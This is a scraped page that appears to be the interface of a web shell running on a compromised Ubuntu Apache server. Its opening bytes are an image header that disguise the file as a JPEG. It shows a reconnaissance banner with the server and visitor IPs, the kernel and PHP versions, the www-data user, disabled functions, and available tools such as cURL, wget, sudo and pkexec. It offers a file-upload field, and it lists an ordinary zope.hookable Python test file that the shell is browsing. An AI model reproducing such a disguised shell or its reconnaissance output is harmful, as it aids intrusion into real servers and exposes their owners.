����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.135.201.186 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3/dist-packages/zope/hookable/tests/ |
Upload File : |
############################################################################## # # Copyright (c) 2003 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Test the hookable support Extension """ import unittest def return_foo(): return 'FOO' def return_bar(): return 'BAR' def not_called(): raise AssertionError("This should not be called") class PyHookableMixin(object): def _callFUT(self, *args, **kw): from zope.hookable import _py_hookable return _py_hookable(*args, **kw) class HookableMixin(object): def _callFUT(self, *args, **kw): from zope.hookable import hookable, _py_hookable if hookable is _py_hookable: # pragma: no cover raise unittest.SkipTest("Hookable and PyHookable are the same") return hookable(*args, **kw) class PyHookableTests(PyHookableMixin, unittest.TestCase): def test_pure_python(self): from zope.hookable import _PURE_PYTHON, hookable, _py_hookable, _c_hookable self.assertIs(hookable, _py_hookable if _PURE_PYTHON else _c_hookable) def test_before_hook(self): hooked = self._callFUT(return_foo) self.assertIs(hooked.original, return_foo) self.assertIs(hooked.implementation, return_foo) self.assertEqual(hooked(), 'FOO') def test_after_hook(self): hooked = self._callFUT(not_called) old = hooked.sethook(return_bar) self.assertIs(old, not_called) self.assertIs(hooked.original, not_called) self.assertIs(hooked.implementation, return_bar) self.assertEqual(hooked(), 'BAR') def test_after_hook_and_reset(self): hooked = self._callFUT(return_foo) old = hooked.sethook(not_called) hooked.reset() self.assertIs(old, return_foo) self.assertIs(hooked.original, return_foo) self.assertIs(hooked.implementation, return_foo) self.assertEqual(hooked(), 'FOO') def test_original_cannot_be_deleted(self): hooked = self._callFUT(not_called) with self.assertRaises((TypeError, AttributeError)): del hooked.original def test_implementation_cannot_be_deleted(self): hooked = self._callFUT(not_called) with self.assertRaises((TypeError, AttributeError)): del hooked.implementation def test_no_args(self): with self.assertRaises(TypeError): self._callFUT() def test_too_many_args(self): with self.assertRaises(TypeError): self._callFUT(not_called, not_called) def test_w_implementation_kwarg(self): hooked = self._callFUT(implementation=return_foo) self.assertIs(hooked.original, return_foo) self.assertIs(hooked.implementation, return_foo) self.assertEqual(hooked(), 'FOO') def test_w_unknown_kwarg(self): with self.assertRaises(TypeError): self._callFUT(nonesuch=42) def test_class(self): class C(object): pass hooked = self._callFUT(C) self.assertIsInstance(hooked(), C) hooked.sethook(return_bar) self.assertEqual(hooked(), 'BAR') class TestIssue6Py(PyHookableMixin, unittest.TestCase): # Make sphinx docs for hooked objects work. # https://github.com/zopefoundation/zope.hookable/issues/6 # We need to proxy __doc__ to the original, # and synthesize an empty __bases__ and a __dict__ attribute # if they're not present. def _check_preserves_doc(self, docs): self.assertEqual("I have some docs", docs.__doc__) hooked = self._callFUT(docs) self.assertEqual(hooked.__doc__, docs.__doc__) def test_preserves_doc_function(self): def docs(): """I have some docs""" self._check_preserves_doc(docs) def test_preserves_doc_class(self): class Docs(object): """I have some docs""" self._check_preserves_doc(Docs) def test_empty_bases_function(self): hooked = self._callFUT(return_foo) self.assertEqual((), hooked.__bases__) def test_empty_dict_function(self): hooked = self._callFUT(return_foo) self.assertEqual({}, hooked.__dict__) def test_bases_class(self): class C(object): pass self.assertEqual(C.__bases__, (object,)) hooked = self._callFUT(C) self.assertEqual(hooked.__bases__, (object,)) def test_dict_class(self): class C(object): pass hooked = self._callFUT(C) self.assertEqual(hooked.__dict__, C.__dict__) def test_non_string_attr_name(self): # Specifically for the C implementation, which has to deal with this hooked = self._callFUT(return_foo) with self.assertRaises(TypeError): getattr(hooked, 42) with self.assertRaises(TypeError): hooked.__getattribute__(42) def test_unicode_attribute_name(self): # Specifically for the C implementation, which has to deal with this hooked = self._callFUT(return_foo) result = hooked.__getattribute__(u'__bases__') self.assertEqual(result, ()) def test_short_name(self): # Specifically for the C implementation, which has to deal with this hooked = self._callFUT(return_foo) with self.assertRaises(AttributeError): hooked.__getattribute__('') class HookableTests(HookableMixin, PyHookableTests): pass class TestIssue6(HookableMixin, TestIssue6Py): pass def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__)